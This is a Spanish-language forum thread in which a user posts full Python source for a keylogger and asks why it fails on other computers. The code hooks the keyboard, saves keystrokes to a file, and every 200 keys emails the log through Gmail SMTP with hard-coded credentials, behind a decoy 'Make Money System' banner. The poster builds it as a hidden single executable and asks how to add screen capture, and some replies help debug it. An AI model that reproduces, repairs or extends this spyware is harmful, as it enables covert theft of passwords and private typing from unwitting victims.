Mi codigo funciona bien en mi pc pero en otras no

Iniciado por AnderPoker07, Septiembre 16, 2018, 02:12:36 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Código: python
# -*- coding: utf-8 -*-
import os, sys, logging
import pyHook, pythoncom
import time, datetime
import smtplib
import socket

#Creo el archivo
Fdir = 'C://ProgramData/task.txt'
if os.path.isfile(Fdir):
    os.remove(Fdir)
    print ('Make Money System - Spanish Version.')
    print ('Todos los derechos reservados!')
else:
    f = open(Fdir,"w")
    f.close() 
    print('Make Money System - Spanish Version.')
    print ('Todos los derechos reservados!')

#Defino variables y creo la funcion que registra
Klg = ""
Cont = 0
Send = ""
nombre_equipo = socket.gethostname()
def send_email(message):

    try:
         
        # Datos
        fromaddr = '[email protected]'
        toaddrs = '[email protected]'
        username = '[email protected]'
        password = '123456.Dalila'

        # Enviando el correo
        server = smtplib.SMTP('smtp.gmail.com:587')
        server.starttls()
        server.login(username,password)
        server.sendmail(fromaddr, toaddrs, message)
        server.quit()
        print('Servicio Arrancado con exito, Ya se han enviado los logs!')
    except:
     
        print('Hubo algun error en la ejecucion')

send_email("Nuevo Dispotivo Conectado: ")
def PresionanAlgunaTecla(event):
    global Cont
    global Klg
    global Send
    if event.Ascii:
        key = chr(event.Ascii)
        Cont +=1
    Klg += key
    f1 = open(Fdir,"w")
    f1.write(Klg)
    f1.close()

    if Cont == 200:
        print('200')
        #leer log y enviar por correo
        typ = open(Fdir,"r")
        log = typ.read()
        typ.close()
        print (log)
        send_email(log)
        #Mato y comienzo de nuevo
        os.remove(Fdir)
        Cont = 0
        Klg = ""     


# crea el objeto hook manager
hm = pyHook.HookManager()
hm.KeyDown = PresionanAlgunaTecla
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()


Perfecto, este es mi codigo, si lo compilo con PyInstaller y lo ejecuto en mi pc funciona de maravilla, pero cuando lo pruebo en otra pc pues no funciona.
Creo el ejecutable con --noconsole --onefile
es un script basico pero potente, y estoy en ese problema.
Aprovecho para preguntar, algun modulo  de python o alguna forma para capturar pantallas?

@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

En la linea 9 posiblemente es que en otras maquinas no exista ese archivo o la ruta donde se encuentre, pero no puedo estar seguro completamente hasta que vea una captura de pantalla.
PGP :: <D82F366940155CB043147178C4E075FC4403BDDC>

~ DtxdF

Buenas:

como te dice @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ese puede ser un error aparte que esa doble barra de la línea 9 deberías revisarla y probar a dejarla solo en una por si fuera el error.

Un saludo.

A que le llamas potente? A robar claves? PFffff xD
Bueno para no desvirtuar, deberías hacer caso a lo que te dicen más arriba porque a simple viste no esta creada la carpeta donde guardas lo que guarda el potente script, o bien creas la carpeta o identificas en donde esta el directorio temporal y guardas ahi lo que vayas a loggear.

LOL

Septiembre 22, 2018, 12:50:51 PM #4 Ultima modificación: Septiembre 22, 2018, 12:54:10 PM por brut3F0rC3
¿Potente? Si esa es tu definición de código potente.....

En todo caso, en la línea 9, se ve claramente el error, y es básico...

De hecho, en tu código existen 2 errores que impiden el funcionamiento del mismo,
repásatelo unas cuántas veces y, si te das cuenta, intenta solucionarlos, son básicos